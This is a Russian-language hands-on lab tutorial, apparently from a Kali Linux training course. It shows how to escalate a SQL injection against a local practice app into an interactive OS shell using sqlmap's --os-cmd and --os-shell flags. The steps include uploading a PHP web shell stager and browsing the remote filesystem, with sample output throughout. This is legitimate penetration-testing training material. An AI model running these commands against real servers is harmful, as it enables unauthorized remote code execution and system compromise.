Получение интерактивной оболочки ОС с помощью sqlmap

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы научитесь использовать sqlmap, популярный инструмент для тестирования на проникновение с открытым исходным кодом, для повышения уровня уязвимости SQL-инъекции до полноценной интерактивной оболочки операционной системы. Хотя sqlmap отлично подходит для перечисления и извлечения данных из баз данных, его возможности распространяются на получение контроля над базовым сервером.

Мы сосредоточимся на функции --os-shell, которая пытается загрузить веб-оболочку (stager) на целевой сервер, предоставляя вам командную строку для прямого взаимодействия с удаленной системой. Для этой лабораторной работы было настроено простое веб-приложение, уязвимое к SQL-инъекциям, и оно запущено на вашей локальной машине.

Подтверждение возможности выполнения команд ОС

На этом этапе, прежде чем пытаться получить полнофункциональную интерактивную оболочку, мы сначала проверим, можем ли мы выполнять команды в целевой операционной системе. Это критически важная предварительная проверка. Мы можем добиться этого, используя флаг --os-cmd в sqlmap, который инструктирует инструмент выполнить одну указанную команду.

Мы будем использовать команду whoami, которая выводит эффективное имя пользователя текущего пользователя. Мы также будем использовать флаг --batch, чтобы sqlmap работал с ответами по умолчанию на все интерактивные вопросы, что ускорит процесс.

Выполните следующую команду в вашем терминале:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch

Вы увидите много вывода, поскольку sqlmap тестирует цель. Дождитесь завершения. Ближе к концу вывода вы должны увидеть результат команды whoami.

...
[22:10:30] [INFO] fetching command output
[22:10:30] [INFO] retrieved: 'labex\n'
...
command execution stdout:
labex
...

Вывод labex подтверждает, что мы можем успешно выполнять команды на удаленном сервере от имени пользователя labex.

Использование флага --os-shell для запроса интерактивной оболочки

На этом этапе мы подготовим команду для получения полнофункциональной интерактивной оболочки. Теперь, когда мы подтвердили возможность выполнения команд ОС, мы можем действовать с большей уверенностью.

Флаг sqlmap для этого — --os-shell. При использовании этого флага sqlmap попытается загрузить "stager", который представляет собой небольшой фрагмент кода (в данном случае, PHP веб-оболочку), в записываемый каталог на веб-сервере. Этот stager затем предоставляет механизм для интерактивной командной оболочки.

Команда, которую мы будем использовать:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

Когда вы выполните эту команду на следующем шаге, sqlmap проведет вас через несколько запросов, чтобы определить наилучший способ загрузки stager. Мы не будем выполнять команду на этом шаге, а просто поймем ее назначение.

Выполнение команды для запуска оболочки

На этом шаге вы выполните команду для запуска интерактивной оболочки. sqlmap запросит ваш ввод, чтобы определить язык веб-приложения и корневой каталог документов сервера (основную папку веб-сайта).

Сначала выполните команду в вашем терминале:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

sqlmap запустится и может задать вам несколько вопросов.

  1. Он может спросить о серверной СУБД (DBMS). Вы можете нажать Enter, чтобы принять значение по умолчанию, которое он, вероятно, уже обнаружил (например, SQLite).

  2. Затем он спросит о корневом каталоге документов веб-сервера. Это критически важный шаг. sqlmap необходимо знать записываемый каталог для загрузки своей веб-оболочки. Согласно нашему скрипту настройки, правильный путь: /home/labex/project/vulnerable_app.

    [?] what is the web server document root? [/var/www/html] >
    

    Введите следующий путь и нажмите Enter:

    /home/labex/project/vulnerable_app

После того как вы укажете путь, sqlmap попытается загрузить stager. В случае успеха вы увидите сообщения, указывающие на загрузку, и попадете в новый приглашение: os-shell>.

...
[22:15:45] [INFO] trying to upload stager shell to '/home/labex/project/vulnerable_app'
[22:15:45] [INFO] uploading stager shell to '/home/labex/project/vulnerable_app/tmpueyge.php'
[22:15:45] [INFO] stager shell uploaded
os-shell>

Это приглашение os-shell> является вашей интерактивной оболочкой на удаленном сервере.

Взаимодействие с удаленной системой через приглашение оболочки sqlmap

На этом шаге вы будете взаимодействовать с удаленной системой, используя приглашение os-shell>, которое вы только что получили. Это приглашение — не ваш локальный терминал; каждая вводимая здесь команда отправляется на удаленный сервер и выполняется.

Давайте выполним пару простых команд, чтобы проверить наш доступ.

Сначала узнайте текущий рабочий каталог на удаленном сервере, введя pwd и нажав Enter.

os-shell > pwd

Вывод должен соответствовать каталогу, куда sqlmap загрузил свой файл stager.

/home/labex/project/vulnerable_app

Затем снова подтвердите свою личность пользователя в удаленной системе, введя whoami.

os-shell > whoami

Вывод снова должен быть labex.

labex

Теперь вы успешно выполнили команды в интерактивном режиме на целевой системе.

Выполнение нескольких команд и исследование файловой системы

На этом шаге вы проведете дальнейшее исследование файловой системы удаленного сервера. Интерактивная оболочка мощна, поскольку позволяет перемещаться по каталогам, просматривать файлы и понимать структуру сервера.

Сначала выведите содержимое текущего каталога (/home/labex/project/vulnerable_app) в длинном формате, используя команду ls -l.

os-shell > ls -l

Вы увидите файлы в этом каталоге, включая index.php, users.db и временную PHP веб-оболочку, загруженную sqlmap (например, tmpueyge.php).

total 20
-rw-r--r-- 1 labex labex  539 Dec 10 22:05 index.php
-rw-r--r-- 1 labex labex   45 Dec 10 22:15 tmpueyge.php
-rw-r--r-- 1 labex labex 12288 Dec 10 22:05 users.db

Теперь давайте попробуем перемещаться по файловой системе. Перейдите в родительский каталог (/home/labex/project), используя команду cd ...

os-shell > cd ..

Вы не увидите никакого вывода, но ваш текущий каталог на удаленном сервере изменился. Проверьте это, выведя содержимое нового каталога.

os-shell > ls

Вы должны увидеть в списке каталог vulnerable_app.

vulnerable_app

Теперь вы можете свободно исследовать файловую систему в пределах разрешений пользователя labex. Чтобы выйти из оболочки sqlmap и вернуться в свой обычный терминал, просто введите exit и нажмите Enter.

Резюме

В этой лабораторной работе вы успешно повысили привилегии уязвимости SQL-инъекции для получения полного доступа к командной строке удаленного сервера. Вы научились:

  • Использовать флаг --os-cmd в sqlmap для подтверждения возможности выполнения команд операционной системы.
  • Использовать флаг --os-shell для указания sqlmap установить интерактивную оболочку.
  • Предоставлять необходимую информацию, такую как корневой каталог веб-сервера (document root), для облегчения загрузки веб-оболочки (web shell).
  • Взаимодействовать с удаленной системой, выполняя команды, такие как pwd, whoami, ls и cd, через оболочку sqlmap.

Это упражнение демонстрирует критический риск безопасности, связанный с уязвимостями SQL-инъекций, поскольку они могут привести не только к краже данных, но и к полному компрометации системы.